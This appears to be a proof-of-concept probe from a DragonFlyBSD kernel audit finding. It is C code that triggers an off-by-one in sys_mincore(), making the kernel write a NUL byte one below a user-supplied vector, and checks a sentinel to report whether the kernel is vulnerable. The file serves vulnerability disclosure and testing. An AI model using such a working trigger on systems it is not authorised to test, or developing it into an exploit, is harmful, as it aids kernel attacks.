DragonFlyBSD Kernel Audit
DF-2746 / mincore_oob.c
← back to finding ↓ download raw
/*
 * DF-2746 - DragonFlyBSD sys/vm/vm_mmap.c sys_mincore() off-by-one
 *
 * The byte-vector maintenance loops in sys_mincore() do:
 *
 *      lastvecindex = -1;
 *      ...
 *      while ((lastvecindex + 1) < vecindex) {
 *              error = subyte(vec + lastvecindex, 0);   <-- vec[-1] on 1st iter
 *              ++lastvecindex;
 *      }
 *
 * (vm_mmap.c:920-927 gap-fill and vm_mmap.c:961-968 tail-fill).
 * When the first kernel-written page index is >= 1 (i.e. the leading
 * page(s) of the scanned range are unmapped), the first subyte() lands
 * at vec + (-1) == vec[-1]: the kernel writes one NUL byte BELOW the
 * user-supplied vector, instead of at vec[0].
 *
 * Test 1: entire scanned range unmapped -> tail-fill loop writes vec[-1].
 * Test 2: leading page unmapped, next page mapped -> gap-fill loop
 *         (vm_mmap.c:920) writes vec[-1] before writing vec[0].
 *
 * Unprivileged; expected result on vulnerable kernel: both sentinels
 * (0x5A) are silently overwritten with 0x00 while mincore() returns 0.
 */
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static int failures;

static void test_tail_fill(void)
{
	char *base, *vec, *hole;

	base = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (base == MAP_FAILED) { perror("mmap"); exit(1); }
	vec = base + 4096;
	vec[-1] = 0x5A;				/* sentinel below vec */

	/* page guaranteed to have no vm_map_entry */
	hole = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (hole == MAP_FAILED) { perror("mmap hole"); exit(1); }
	if (munmap(hole, 4096) < 0) { perror("munmap hole"); exit(1); }

	errno = 0;
	if (mincore(hole, 4096, vec) != 0) {
		printf("test1: mincore rc=%d errno=%d (unexpected)\n", -1, errno);
		failures++;
		return;
	}
	printf("test1 (all-unmapped range, tail-fill loop):\n");
	printf("  vec[-1] = 0x%02x  (must still be 0x5A)\n",
	       (unsigned char)vec[-1]);
	printf("  vec[0]  = 0x%02x  (0x00 ok: page unmapped)\n",
	       (unsigned char)vec[0]);
	if ((unsigned char)vec[-1] != 0x5A) {
		printf("  => VULNERABLE: kernel wrote NUL at vec[-1]\n");
		failures++;
	}
}

static void test_gap_fill(void)
{
	char *base, *vec, *two;

	base = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (base == MAP_FAILED) { perror("mmap"); exit(1); }
	vec = base + 4096;
	vec[-1] = 0x5A;

	/* first page unmapped hole, second page stays mapped */
	two = mmap(NULL, 2 * 4096, PROT_READ | PROT_WRITE,
		   MAP_ANON | MAP_PRIVATE, -1, 0);
	if (two == MAP_FAILED) { perror("mmap two"); exit(1); }
	memset(two, 1, 2 * 4096);		/* fault pages in */
	if (munmap(two, 4096) < 0) { perror("munmap two"); exit(1); }

	errno = 0;
	if (mincore(two, 2 * 4096, vec) != 0) {
		printf("test2: mincore errno=%d (unexpected)\n", errno);
		failures++;
		return;
	}
	printf("test2 (leading hole, gap-fill loop):\n");
	printf("  vec[-1] = 0x%02x  (must still be 0x5A)\n",
	       (unsigned char)vec[-1]);
	printf("  vec[0]  = 0x%02x  (0x00 ok: page unmapped)\n",
	       (unsigned char)vec[0]);
	printf("  vec[1]  = 0x%02x  (MINCORE_INCORE=1 ok)\n",
	       (unsigned char)vec[1]);
	if ((unsigned char)vec[-1] != 0x5A) {
		printf("  => VULNERABLE: kernel wrote NUL at vec[-1]\n");
		failures++;
	}
}

int main(void)
{
	printf("DF-2746 mincore(vec) off-by-one probe\n");
	test_tail_fill();
	test_gap_fill();
	if (failures)
		printf("RESULT: VULNERABLE (%d)\n", failures);
	else
		printf("RESULT: not vulnerable\n");
	return (failures ? 0 : 2);
}